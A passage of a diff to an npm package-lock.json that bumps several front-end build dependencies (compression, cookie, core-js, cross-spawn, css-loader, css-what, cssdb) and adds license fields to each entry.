+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "license": "MIT",
+      "dependencies": {
+        "has-flag": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/codem-isoboxer": {
+      "version": "0.3.6",
+      "resolved": "https://registry.npmjs.org/codem-isoboxer/-/codem-isoboxer-0.3.6.tgz",
+      "integrity": "sha512-LuO8/7LW6XuR5ERn1yavXAfodGRhuY2yP60JTZIw5yNYMCE5lUVbk3NFUCJxjnphQH+Xemp5hOGb1LgUXm00Xw==",
+      "license": "MIT"
+    },
+    "node_modules/collect-v8-coverage": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz",
+      "integrity": "sha512-lHl4d5/ONEbLlJvaJNtsF/Lz+WvB07u2ycqTYbdrq7UypDXailES4valYb2eWiJFxZlVmpGekfqoxQhzyFdT4Q==",
+      "license": "MIT"
+    },
+    "node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "license": "MIT",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+      "license": "MIT"
     },
     "node_modules/colord": {
       "version": "2.9.3",
       "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz",
-      "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw=="
+      "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==",
+      "license": "MIT"
     },
     "node_modules/colorette": {
       "version": "2.0.20",
       "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz",
-      "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w=="
+      "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==",
+      "license": "MIT"
     },
     "node_modules/combined-stream": {
       "version": "1.0.8",
       "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
       "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+      "license": "MIT",
       "dependencies": {
         "delayed-stream": "~1.0.0"
       },
@@ -6313,19 +6462,16 @@
       "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz",
       "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": "^12.20.0 || >=14"
       }
     },
-    "node_modules/common-path-prefix": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/common-path-prefix/-/common-path-prefix-3.0.0.tgz",
-      "integrity": "sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w=="
-    },
     "node_modules/common-tags": {
       "version": "1.8.2",
       "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz",
       "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==",
+      "license": "MIT",
       "engines": {
         "node": ">=4.0.0"
       }
@@ -6333,12 +6479,14 @@
     "node_modules/commondir": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
-      "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg=="
+      "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==",
+      "license": "MIT"
     },
     "node_modules/compressible": {
       "version": "2.0.18",
       "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz",
       "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==",
+      "license": "MIT",
       "dependencies": {
         "mime-db": ">= 1.43.0 < 2"
       },
@@ -6347,16 +6495,17 @@
       }
     },
     "node_modules/compression": {
-      "version": "1.7.4",
-      "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz",
-      "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==",
+      "version": "1.8.0",
+      "resolved": "https://registry.npmjs.org/compression/-/compression-1.8.0.tgz",
+      "integrity": "sha512-k6WLKfunuqCYD3t6AsuPGvQWaKwuLLh2/xHNcX4qE+vIfDNXpSqnrhwA7O53R7WVQUnt8dVAIW+YHr7xTgOgGA==",
+      "license": "MIT",
       "dependencies": {
-        "accepts": "~1.3.5",
-        "bytes": "3.0.0",
-        "compressible": "~2.0.16",
+        "bytes": "3.1.2",
+        "compressible": "~2.0.18",
         "debug": "2.6.9",
+        "negotiator": "~0.6.4",
         "on-headers": "~1.0.2",
-        "safe-buffer": "5.1.2",
+        "safe-buffer": "5.2.1",
         "vary": "~1.1.2"
       },
       "engines": {
@@ -6367,6 +6516,7 @@
       "version": "2.6.9",
       "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
       "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "license": "MIT",
       "dependencies": {
         "ms": "2.0.0"
       }
@@ -6374,27 +6524,26 @@
     "node_modules/compression/node_modules/ms": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
-    },
-    "node_modules/compression/node_modules/safe-buffer": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
-      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+      "license": "MIT"
     },
     "node_modules/concat-map": {
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
-      "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
+      "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
+      "license": "MIT"
     },
     "node_modules/confusing-browser-globals": {
       "version": "1.0.11",
       "resolved": "https://registry.npmjs.org/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz",
-      "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA=="
+      "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==",
+      "license": "MIT"
     },
     "node_modules/connect-history-api-fallback": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz",
       "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.8"
       }
@@ -6403,6 +6552,7 @@
       "version": "0.5.4",
       "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
       "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "5.2.1"
       },
@@ -6414,6 +6564,7 @@
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
       "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -6421,12 +6572,14 @@
     "node_modules/convert-source-map": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
-      "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg=="
+      "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",
+      "license": "MIT"
     },
     "node_modules/cookie": {
-      "version": "0.5.0",
-      "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz",
-      "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==",
+      "version": "0.7.1",
+      "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.1.tgz",
+      "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -6434,24 +6587,27 @@
     "node_modules/cookie-signature": {
       "version": "1.0.6",
       "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
-      "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
+      "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==",
+      "license": "MIT"
     },
     "node_modules/core-js": {
-      "version": "3.36.0",
-      "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.36.0.tgz",
-      "integrity": "sha512-mt7+TUBbTFg5+GngsAxeKBTl5/VS0guFeJacYge9OmHb+m058UwwIm41SE9T4Den7ClatV57B6TYTuJ0CX1MAw==",
+      "version": "3.44.0",
+      "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.44.0.tgz",
+      "integrity": "sha512-aFCtd4l6GvAXwVEh3XbbVqJGHDJt0OZRa+5ePGx3LLwi12WfexqQxcsohb2wgsa/92xtl19Hd66G/L+TaAxDMw==",
       "hasInstallScript": true,
+      "license": "MIT",
       "funding": {
         "type": "opencollective",
         "url": "https://opencollective.com/core-js"
       }
     },
     "node_modules/core-js-compat": {
-      "version": "3.36.0",
-      "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.36.0.tgz",
-      "integrity": "sha512-iV9Pd/PsgjNWBXeq8XRtWVSgz2tKAfhfvBs7qxYty+RlRd+OCksaWmOnc4JKrTc1cToXL1N0s3l/vwlxPtdElw==",
+      "version": "3.44.0",
+      "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.44.0.tgz",
+      "integrity": "sha512-JepmAj2zfl6ogy34qfWtcE7nHKAJnKsQFRn++scjVS2bZFllwptzw61BZcZFYBPpUznLfAvh0LGhxKppk04ClA==",
+      "license": "MIT",
       "dependencies": {
-        "browserslist": "^4.22.3"
+        "browserslist": "^4.25.1"
       },
       "funding": {
         "type": "opencollective",
@@ -6459,10 +6615,11 @@
       }
     },
     "node_modules/core-js-pure": {
-      "version": "3.36.0",
-      "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.36.0.tgz",
-      "integrity": "sha512-cN28qmhRNgbMZZMc/RFu5w8pK9VJzpb2rJVR/lHuZJKwmXnoWOpXmMkxqBB514igkp1Hu8WGROsiOAzUcKdHOQ==",
+      "version": "3.44.0",
+      "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.44.0.tgz",
+      "integrity": "sha512-gvMQAGB4dfVUxpYD0k3Fq8J+n5bB6Ytl15lqlZrOIXFzxOhtPaObfkQGHtMRdyjIf7z2IeNULwi1jEwyS+ltKQ==",
       "hasInstallScript": true,
+      "license": "MIT",
       "funding": {
         "type": "opencollective",
         "url": "https://opencollective.com/core-js"
@@ -6471,12 +6628,14 @@
     "node_modules/core-util-is": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
-      "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="
+      "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
+      "license": "MIT"
     },
     "node_modules/cosmiconfig": {
       "version": "7.1.0",
       "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz",
       "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==",
+      "license": "MIT",
       "dependencies": {
         "@types/parse-json": "^4.0.0",
         "import-fresh": "^3.2.1",
@@ -6489,9 +6648,10 @@
       }
     },
     "node_modules/cross-spawn": {
-      "version": "7.0.3",
-      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
-      "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+      "license": "MIT",
       "dependencies": {
         "path-key": "^3.1.0",
         "shebang-command": "^2.0.0",
@@ -6505,6 +6665,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
       "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -6513,6 +6674,7 @@
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz",
       "integrity": "sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-selector-parser": "^6.0.9"
       },
@@ -6530,6 +6692,7 @@
       "version": "6.4.1",
       "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz",
       "integrity": "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==",
+      "license": "ISC",
       "engines": {
         "node": "^10 || ^12 || >=14"
       },
@@ -6541,6 +6704,7 @@
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz",
       "integrity": "sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-selector-parser": "^6.0.9"
       },
@@ -6555,15 +6719,16 @@
       }
     },
     "node_modules/css-loader": {
-      "version": "6.10.0",
-      "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.10.0.tgz",
-      "integrity": "sha512-LTSA/jWbwdMlk+rhmElbDR2vbtQoTBPr7fkJE+mxrHj+7ru0hUmHafDRzWIjIHTwpitWVaqY2/UWGRca3yUgRw==",
+      "version": "6.11.0",
+      "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.11.0.tgz",
+      "integrity": "sha512-CTJ+AEQJjq5NzLga5pE39qdiSV56F8ywCIsqNIRF0r7BDgWsN25aazToqAFg7ZrtA/U016xudB3ffgweORxX7g==",
+      "license": "MIT",
       "dependencies": {
         "icss-utils": "^5.1.0",
         "postcss": "^8.4.33",
-        "postcss-modules-extract-imports": "^3.0.0",
-        "postcss-modules-local-by-default": "^4.0.4",
-        "postcss-modules-scope": "^3.1.1",
+        "postcss-modules-extract-imports": "^3.1.0",
+        "postcss-modules-local-by-default": "^4.0.5",
+        "postcss-modules-scope": "^3.2.0",
         "postcss-modules-values": "^4.0.0",
         "postcss-value-parser": "^4.2.0",
         "semver": "^7.5.4"
@@ -6588,24 +6753,11 @@
         }
       }
     },
-    "node_modules/css-loader/node_modules/lru-cache": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
-      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-      "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/css-loader/node_modules/semver": {
-      "version": "7.6.0",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
-      "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
-      "dependencies": {
-        "lru-cache": "^6.0.0"
-      },
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       },
@@ -6613,15 +6765,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/css-loader/node_modules/yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
-    },
     "node_modules/css-minimizer-webpack-plugin": {
       "version": "3.4.1",
       "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz",
       "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==",
+      "license": "MIT",
       "dependencies": {
         "cssnano": "^5.0.6",
         "jest-worker": "^27.0.2",
@@ -6655,64 +6803,11 @@
         }
       }
     },
-    "node_modules/css-minimizer-webpack-plugin/node_modules/ajv": {
-      "version": "8.12.0",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz",
-      "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==",
-      "dependencies": {
-        "fast-deep-equal": "^3.1.1",
-        "json-schema-traverse": "^1.0.0",
-        "require-from-string": "^2.0.2",
-        "uri-js": "^4.2.2"
-      },
-      "funding": {
-        "type": "github",
-        "url": "https://github.com/sponsors/epoberezkin"
-      }
-    },
-    "node_modules/css-minimizer-webpack-plugin/node_modules/ajv-keywords": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
-      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
-      "dependencies": {
-        "fast-deep-equal": "^3.1.3"
-      },
-      "peerDependencies": {
-        "ajv": "^8.8.2"
-      }
-    },
-    "node_modules/css-minimizer-webpack-plugin/node_modules/fast-deep-equal": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
-    },
-    "node_modules/css-minimizer-webpack-plugin/node_modules/json-schema-traverse": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
-      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
-    },
-    "node_modules/css-minimizer-webpack-plugin/node_modules/schema-utils": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz",
-      "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==",
-      "dependencies": {
-        "@types/json-schema": "^7.0.9",
-        "ajv": "^8.9.0",
-        "ajv-formats": "^2.1.1",
-        "ajv-keywords": "^5.1.0"
-      },
-      "engines": {
-        "node": ">= 12.13.0"
-      },
-      "funding": {
-        "type": "opencollective",
-        "url": "https://opencollective.com/webpack"
-      }
-    },
     "node_modules/css-minimizer-webpack-plugin/node_modules/source-map": {
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -6721,6 +6816,7 @@
       "version": "6.0.3",
       "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz",
       "integrity": "sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==",
+      "license": "CC0-1.0",
       "bin": {
         "css-prefers-color-scheme": "dist/cli.cjs"
       },
@@ -6735,6 +6831,7 @@
       "version": "4.3.0",
       "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz",
       "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "boolbase": "^1.0.0",
         "css-what": "^6.0.1",
@@ -6749,12 +6846,14 @@
     "node_modules/css-select-base-adapter": {
       "version": "0.1.1",
       "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz",
-      "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w=="
+      "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==",
+      "license": "MIT"
     },
     "node_modules/css-tree": {
       "version": "1.0.0-alpha.37",
       "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.37.tgz",
       "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==",
+      "license": "MIT",
       "dependencies": {
         "mdn-data": "2.0.4",
         "source-map": "^0.6.1"
@@ -6767,14 +6866,16 @@
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/css-what": {
-      "version": "6.1.0",
-      "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz",
-      "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==",
+      "version": "6.2.2",
+      "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.2.2.tgz",
+      "integrity": "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">= 6"
       },
@@ -6786,12 +6887,13 @@
       "version": "1.5.1",
       "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
       "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/cssdb": {
-      "version": "7.10.0",
-      "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-7.10.0.tgz",
-      "integrity": "sha512-yGZ5tmA57gWh/uvdQBHs45wwFY0IBh3ypABk5sEubPBPSzXzkNgsWReqx7gdx6uhC+QoFBe+V8JwBB9/hQ6cIA==",
+      "version": "7.11.2",
+      "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-7.11.2.tgz",
+      "integrity": "sha512-lhQ32TFkc1X4eTefGfYPvgovRSzIMofHkigfH8nWtyRL4XJLsRhJFreRvEgKzept7x1rjBuy3J/MurXLaFxW/A==",
       "funding": [
         {
           "type": "opencollective",
@@ -6801,12 +6903,14 @@
           "type": "github",
           "url": "https://github.com/sponsors/csstools"
         }
-      ]
+      ],
+      "license": "CC0-1.0"
     },
     "node_modules/cssesc": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
       "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
+      "license": "MIT",
       "bin": {
         "cssesc": "bin/cssesc"
       },
@@ -6818,6 +6922,7 @@
       "version": "5.1.15",
       "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.15.tgz",
